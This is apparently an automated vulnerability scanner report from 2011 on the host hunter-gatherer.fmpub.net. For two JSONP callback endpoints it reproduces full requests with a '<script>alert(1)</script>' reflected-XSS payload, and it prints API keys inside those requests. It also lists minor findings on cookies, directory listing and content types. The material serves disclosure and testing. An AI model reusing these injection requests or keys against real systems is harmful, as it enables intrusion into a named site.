XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, hunter-gatherer.fmpub.net

Report generated by XSS.CX at Thu Aug 18 07:45:02 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in hunter-gatherer.fmpub.net, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://hunter-gatherer.fmpub.net/api/statuses/ [callback parameter]

1.2. http://hunter-gatherer.fmpub.net/api/statuses/get [callback parameter]

2. Cookie without HttpOnly flag set

3. Directory listing

4. Content type incorrectly stated

4.1. http://hunter-gatherer.fmpub.net/api/statuses/

4.2. http://hunter-gatherer.fmpub.net/api/statuses/get



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://hunter-gatherer.fmpub.net/api/statuses/ [callback parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://hunter-gatherer.fmpub.net
Path:   /api/statuses/

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 4b79a<script>alert(1)</script>d337f44742b was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/statuses/?application_id=8&api_key=426af5f2d2763f74de2cb88035a9b596&callback=jsonp13136745822844b79a<script>alert(1)</script>d337f44742b HTTP/1.1
Host: hunter-gatherer.fmpub.net
Proxy-Connection: keep-alive
Referer: http://www.federatedmedia.net/events/5/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 18 Aug 2011 13:36:41 GMT
Server: Apache/2.2
Last-Modified: Thu, 18 Aug 2011 13:36:42 GMT
Expires: Thu, 18 Aug 2011 13:36:52 GMT
Cache-Control: max-age=10
X-Server: web4.cm.tor.fmpub.net
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14016

jsonp13136745822844b79a<script>alert(1)</script>d337f44742b({"result": [{"truncated": "0", "text": "Dow drops over 200 points at open. http://t.co/yoUelU6", "featured": "0", "id": "12743487", "account": {"protected": "0", "screen_name": "MSNdotcom", "service_n
...[SNIP]...

1.2. http://hunter-gatherer.fmpub.net/api/statuses/get [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://hunter-gatherer.fmpub.net
Path:   /api/statuses/get

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload ebc8f<script>alert(1)</script>d61d6cc7ab9 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/statuses/get?application_id=6&amp;api_key=3ff76e71cd00bc80e12e4174f6e24457&callback=jsonp1313674883072ebc8f<script>alert(1)</script>d61d6cc7ab9 HTTP/1.1
Host: hunter-gatherer.fmpub.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.federatedmedia.net/
Cookie: BIGipServercm_web=2086932652.20480.0000

Response

HTTP/1.1 200 OK
Date: Thu, 18 Aug 2011 13:41:29 GMT
Server: Apache/2.2
Last-Modified: Thu, 18 Aug 2011 13:41:30 GMT
Expires: Thu, 18 Aug 2011 13:41:40 GMT
Cache-Control: max-age=10
X-Server: web4.cm.tor.fmpub.net
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14446

jsonp1313674883072ebc8f<script>alert(1)</script>d61d6cc7ab9({"result": [{"truncated": "0", "text": "Mega Chinese shopping site Xiu closed a $100 million Series B round of financing from Kleiner Perkins and Warburg Pi...http://t.co/KprMRf7", "featured": "0", "i
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://hunter-gatherer.fmpub.net
Path:   /favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /favicon.ico HTTP/1.1
Host: hunter-gatherer.fmpub.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 404 NOT FOUND
Date: Thu, 18 Aug 2011 13:39:58 GMT
Server: Apache/2.2
Vary: Cookie
X-Server: web4.cm.tor.fmpub.net
Connection: close
Content-Type: text/html; charset=utf-8
Set-Cookie: BIGipServercm_web=2086932652.20480.0000; path=/
Content-Length: 461

<!DOCTYPE html>
<html>
<head>
<title>Hunter &amp; Gatherer - Page Not Found.<title>
<link href="/static/css/reset.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/static/css/h
...[SNIP]...

3. Directory listing  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://hunter-gatherer.fmpub.net
Path:   /api/statuses/get

Issue description

Directory listings do not necessarily constitute a security vulnerability. Any sensitive resources within your web root should be properly access-controlled in any case, and should not be accessible by an unauthorised party who happens to know the URL. Nevertheless, directory listings can aid an attacker by enabling them to quickly identify the resources at a given path, and proceed directly to analysing and attacking them.

Issue remediation

There is not usually any good reason to provide directory listings, and disabling them may place additional hurdles in the path of an attacker. This can normally be achieved in two ways:

Request

GET /api/statuses/get?application_id=6&amp;api_key=3ff76e71cd00bc80e12e4174f6e24457&callback=jsonp1313674883072 HTTP/1.1
Host: hunter-gatherer.fmpub.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.federatedmedia.net/
Cookie: BIGipServercm_web=2086932652.20480.0000

Response

HTTP/1.1 200 OK
Date: Thu, 18 Aug 2011 13:41:13 GMT
Server: Apache/2.2
Last-Modified: Thu, 18 Aug 2011 13:41:13 GMT
Expires: Thu, 18 Aug 2011 13:41:23 GMT
Cache-Control: max-age=10
X-Server: web4.cm.tor.fmpub.net
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14405

jsonp1313674883072({"result": [{"truncated": "0", "text": "Mega Chinese shopping site Xiu closed a $100 million Series B round of financing from Kleiner Perkins and Warburg Pi...http://t.co/KprMRf7",
...[SNIP]...
s and Tesla Rangers http://t.co/n7bklmY", "featured": "0", "id": "12743483", "account": {"protected": "0", "screen_name": "BoingBoing", "service_name": "twitter", "service_id": "5971922", "location": "Directory of Wonderful Things", "id": "812778", "profile_image_url": "http://a1.twimg.com/profile_images/466639790/bblogo_normal.png", "name": "Boing Boing"}, "posted_at": "2011-08-18 13:30:11", "longitude": "0.0",
...[SNIP]...
nion announces F-22 http://t.co/VQ7UUYD", "featured": "0", "id": "12743472", "account": {"protected": "0", "screen_name": "BoingBoing", "service_name": "twitter", "service_id": "5971922", "location": "Directory of Wonderful Things", "id": "812778", "profile_image_url": "http://a1.twimg.com/profile_images/466639790/bblogo_normal.png", "name": "Boing Boing"}, "posted_at": "2011-08-18 13:14:43", "longitude": "0.0",
...[SNIP]...
Friday and Saturday http://t.co/TMN6NmB", "featured": "0", "id": "12743457", "account": {"protected": "0", "screen_name": "BoingBoing", "service_name": "twitter", "service_id": "5971922", "location": "Directory of Wonderful Things", "id": "812778", "profile_image_url": "http://a1.twimg.com/profile_images/466639790/bblogo_normal.png", "name": "Boing Boing"}, "posted_at": "2011-08-18 12:59:09", "longitude": "0.0",
...[SNIP]...
..The Click Song... http://t.co/dK9bvk8", "featured": "0", "id": "12743456", "account": {"protected": "0", "screen_name": "BoingBoing", "service_name": "twitter", "service_id": "5971922", "location": "Directory of Wonderful Things", "id": "812778", "profile_image_url": "http://a1.twimg.com/profile_images/466639790/bblogo_normal.png", "name": "Boing Boing"}, "posted_at": "2011-08-18 12:59:07", "longitude": "0.0",
...[SNIP]...
ional stationery... http://t.co/k9sf5Uk", "featured": "0", "id": "12743453", "account": {"protected": "0", "screen_name": "BoingBoing", "service_name": "twitter", "service_id": "5971922", "location": "Directory of Wonderful Things", "id": "812778", "profile_image_url": "http://a1.twimg.com/profile_images/466639790/bblogo_normal.png", "name": "Boing Boing"}, "posted_at": "2011-08-18 12:43:55", "longitude": "0.0",
...[SNIP]...
ll Quake deathmatch http://t.co/L0JyODS", "featured": "0", "id": "12743452", "account": {"protected": "0", "screen_name": "BoingBoing", "service_name": "twitter", "service_id": "5971922", "location": "Directory of Wonderful Things", "id": "812778", "profile_image_url": "http://a1.twimg.com/profile_images/466639790/bblogo_normal.png", "name": "Boing Boing"}, "posted_at": "2011-08-18 12:43:55", "longitude": "0.0",
...[SNIP]...

4. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


4.1. http://hunter-gatherer.fmpub.net/api/statuses/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://hunter-gatherer.fmpub.net
Path:   /api/statuses/

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /api/statuses/?application_id=8&api_key=426af5f2d2763f74de2cb88035a9b596&callback=jsonp1313674582284 HTTP/1.1
Host: hunter-gatherer.fmpub.net
Proxy-Connection: keep-alive
Referer: http://www.federatedmedia.net/events/5/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 18 Aug 2011 13:36:28 GMT
Server: Apache/2.2
Last-Modified: Thu, 18 Aug 2011 13:36:28 GMT
Expires: Thu, 18 Aug 2011 13:36:38 GMT
Cache-Control: max-age=10
X-Server: web4.cm.tor.fmpub.net
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 13975

jsonp1313674582284({"result": [{"truncated": "0", "text": "Dow drops over 200 points at open. http://t.co/yoUelU6", "featured": "0", "id": "12743487", "account": {"protected": "0", "screen_name": "MSN
...[SNIP]...

4.2. http://hunter-gatherer.fmpub.net/api/statuses/get  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://hunter-gatherer.fmpub.net
Path:   /api/statuses/get

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /api/statuses/get?application_id=6&amp;api_key=3ff76e71cd00bc80e12e4174f6e24457&callback=jsonp1313674883072 HTTP/1.1
Host: hunter-gatherer.fmpub.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.federatedmedia.net/
Cookie: BIGipServercm_web=2086932652.20480.0000

Response

HTTP/1.1 200 OK
Date: Thu, 18 Aug 2011 13:41:13 GMT
Server: Apache/2.2
Last-Modified: Thu, 18 Aug 2011 13:41:13 GMT
Expires: Thu, 18 Aug 2011 13:41:23 GMT
Cache-Control: max-age=10
X-Server: web4.cm.tor.fmpub.net
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14405

jsonp1313674883072({"result": [{"truncated": "0", "text": "Mega Chinese shopping site Xiu closed a $100 million Series B round of financing from Kleiner Perkins and Warburg Pi...http://t.co/KprMRf7",
...[SNIP]...

Report generated by XSS.CX at Thu Aug 18 07:45:02 GMT-06:00 2011.